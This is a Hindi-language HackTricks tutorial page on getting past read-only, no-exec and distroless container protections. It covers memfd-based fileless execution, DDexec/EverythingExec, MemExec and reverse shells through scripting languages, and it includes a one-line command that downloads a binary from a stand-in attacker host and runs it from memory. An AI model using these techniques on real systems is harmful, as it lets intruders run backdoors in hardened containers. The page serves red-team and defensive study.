FS सुरक्षा को बायपास करें: केवल पढ़ने के लिए / कोई निष्पादन नहीं / डिस्ट्रोलैस

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

वीडियो

निम्नलिखित वीडियो में आप इस पृष्ठ में उल्लेखित तकनीकों को अधिक गहराई से समझ सकते हैं:

केवल पढ़ने के लिए / कोई निष्पादन नहीं परिदृश्य

यह अधिक से अधिक सामान्य होता जा रहा है कि लिनक्स मशीनें केवल पढ़ने के लिए (ro) फ़ाइल प्रणाली सुरक्षा के साथ माउंट की जाती हैं, विशेष रूप से कंटेनरों में। इसका कारण यह है कि ro फ़ाइल प्रणाली के साथ कंटेनर चलाना readOnlyRootFilesystem: true को securitycontext में सेट करने जितना आसान है:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

हालांकि, भले ही फ़ाइल प्रणाली को ro के रूप में माउंट किया गया हो, /dev/shm अभी भी लिखने योग्य होगा, इसलिए यह गलत है कि हम डिस्क में कुछ भी नहीं लिख सकते। हालाँकि, यह फ़ोल्डर कोई निष्पादन सुरक्षा के साथ माउंट किया जाएगा, इसलिए यदि आप यहाँ एक बाइनरी डाउनलोड करते हैं तो आप इसे निष्पादित नहीं कर पाएंगे

warning

एक रेड टीम के दृष्टिकोण से, यह बाइनरी डाउनलोड और निष्पादित करना जटिल बनाता है जो पहले से सिस्टम में नहीं हैं (जैसे बैकडोर या kubectl जैसे एन्यूमरेटर)।

सबसे आसान बायपास: स्क्रिप्ट

ध्यान दें कि मैंने बाइनरी का उल्लेख किया, आप किसी भी स्क्रिप्ट को निष्पादित कर सकते हैं जब तक कि इंटरप्रेटर मशीन के अंदर हो, जैसे कि शेल स्क्रिप्ट यदि sh मौजूद है या पायथन स्क्रिप्ट यदि python स्थापित है।

हालांकि, यह आपके बाइनरी बैकडोर या अन्य बाइनरी उपकरणों को चलाने के लिए पर्याप्त नहीं है।

मेमोरी बायपास

यदि आप एक बाइनरी को निष्पादित करना चाहते हैं लेकिन फ़ाइल प्रणाली ऐसा करने की अनुमति नहीं दे रही है, तो ऐसा करने का सबसे अच्छा तरीका है इसे मेमोरी से निष्पादित करना, क्योंकि सुरक्षाएँ वहाँ लागू नहीं होती हैं

FD + exec syscall बायपास

यदि आपके पास मशीन के अंदर कुछ शक्तिशाली स्क्रिप्ट इंजन हैं, जैसे Python, Perl, या Ruby, तो आप मेमोरी से निष्पादित करने के लिए बाइनरी डाउनलोड कर सकते हैं, इसे एक मेमोरी फ़ाइल डिस्क्रिप्टर (create_memfd syscall) में स्टोर कर सकते हैं, जो उन सुरक्षा द्वारा संरक्षित नहीं होगा और फिर exec syscall को कॉल कर सकते हैं जो fd को निष्पादित करने के लिए फ़ाइल के रूप में इंगित करता है

इसके लिए आप आसानी से प्रोजेक्ट fileless-elf-exec का उपयोग कर सकते हैं। आप इसे एक बाइनरी पास कर सकते हैं और यह निर्दिष्ट भाषा में एक स्क्रिप्ट उत्पन्न करेगा जिसमें बाइनरी संकुचित और b64 एन्कोडेड होगी और इसे डिकोड और अनकंप्रेस करने के लिए निर्देश होंगे एक fd में जो create_memfd syscall को कॉल करके बनाया गया है और इसे चलाने के लिए exec syscall को कॉल किया गया है।

warning

यह अन्य स्क्रिप्टिंग भाषाओं जैसे PHP या Node में काम नहीं करता क्योंकि उनके पास स्क्रिप्ट से कच्चे syscalls को कॉल करने का कोई डिफ़ॉल्ट तरीका नहीं है, इसलिए create_memfd को कॉल करके मेमोरी fd बनाने की संभावना नहीं है।

इसके अलावा, /dev/shm में एक फ़ाइल के साथ नियमित fd बनाना काम नहीं करेगा, क्योंकि आपको इसे चलाने की अनुमति नहीं होगी क्योंकि कोई निष्पादन सुरक्षा लागू होगी।

DDexec / EverythingExec

DDexec / EverythingExec एक तकनीक है जो आपको अपने स्वयं के प्रोसेस की मेमोरी को संशोधित करने की अनुमति देती है, इसके /proc/self/mem को ओवरराइट करके।

इसलिए, प्रक्रिया द्वारा निष्पादित असेंबली कोड को नियंत्रित करते हुए, आप एक शेलकोड लिख सकते हैं और प्रक्रिया को किसी भी मनमाने कोड को निष्पादित करने के लिए "म्यूटेट" कर सकते हैं।

tip

DDexec / EverythingExec आपको मेमोरी से अपने स्वयं के शेलकोड या किसी भी बाइनरी को लोड और निष्पादित करने की अनुमति देगा।

bash
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

For more information about this technique check the Github or:

DDexec / EverythingExec

MemExec

Memexec DDexec का स्वाभाविक अगला कदम है। यह एक DDexec शेलकोड डेमोनाइज्ड है, इसलिए हर बार जब आप एक अलग बाइनरी चलाना चाहते हैं तो आपको DDexec को फिर से लॉन्च करने की आवश्यकता नहीं है, आप बस DDexec तकनीक के माध्यम से memexec शेलकोड चला सकते हैं और फिर नए बाइनरी लोड और चलाने के लिए इस डेमोन के साथ संवाद कर सकते हैं

आप memexec का उपयोग करके PHP रिवर्स शेल से बाइनरी निष्पादित करने का एक उदाहरण https://github.com/arget13/memexec/blob/main/a.php पर पा सकते हैं।

Memdlopen

DDexec के समान उद्देश्य के साथ, memdlopen तकनीक बाइनरी को मेमोरी में लोड करने का एक आसान तरीका प्रदान करती है ताकि बाद में उन्हें निष्पादित किया जा सके। यह निर्भरताओं के साथ बाइनरी लोड करने की अनुमति भी दे सकती है।

Distroless Bypass

What is distroless

Distroless कंटेनर केवल विशिष्ट एप्लिकेशन या सेवा को चलाने के लिए आवश्यक न्यूनतम घटक होते हैं, जैसे कि पुस्तकालय और रनटाइम निर्भरताएँ, लेकिन पैकेज प्रबंधक, शेल, या सिस्टम उपयोगिताओं जैसे बड़े घटकों को बाहर करते हैं।

Distroless कंटेनरों का लक्ष्य अनावश्यक घटकों को समाप्त करके कंटेनरों के हमले की सतह को कम करना और उन कमजोरियों की संख्या को कम करना है जिन्हें शोषित किया जा सकता है।

Reverse Shell

एक distroless कंटेनर में आप शायद sh या bash भी नहीं पाएंगे ताकि एक नियमित शेल प्राप्त किया जा सके। आप बाइनरी जैसे ls, whoami, id... भी नहीं पाएंगे... जो कुछ भी आप आमतौर पर एक सिस्टम में चलाते हैं।

warning

इसलिए, आप रिवर्स शेल प्राप्त करने या सिस्टम की गणना करने में सक्षम नहीं होंगे जैसे आप आमतौर पर करते हैं।

हालांकि, यदि समझौता किया गया कंटेनर उदाहरण के लिए एक फ्लास्क वेब चला रहा है, तो फिर पायथन स्थापित है, और इसलिए आप एक Python रिवर्स शेल प्राप्त कर सकते हैं। यदि यह नोड चला रहा है, तो आप एक नोड रिव शेल प्राप्त कर सकते हैं, और अधिकांश किसी भी स्क्रिप्टिंग भाषा के साथ यही स्थिति है।

tip

स्क्रिप्टिंग भाषा का उपयोग करके आप भाषा की क्षमताओं का उपयोग करके सिस्टम की गणना कर सकते हैं।

यदि कोई read-only/no-exec सुरक्षा नहीं है तो आप अपने रिवर्स शेल का दुरुपयोग करके फाइल सिस्टम में अपने बाइनरी लिख सकते हैं और उन्हें निष्पादित कर सकते हैं।

tip

हालाँकि, इस प्रकार के कंटेनरों में ये सुरक्षा आमतौर पर मौजूद होंगी, लेकिन आप उन्हें बायपास करने के लिए पिछले मेमोरी निष्पादन तकनीकों का उपयोग कर सकते हैं

आप कुछ RCE कमजोरियों का शोषण करने के लिए उदाहरण पा सकते हैं ताकि स्क्रिप्टिंग भाषाएँ रिवर्स शेल प्राप्त कर सकें और मेमोरी से बाइनरी निष्पादित कर सकें https://github.com/carlospolop/DistrolessRCE पर।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें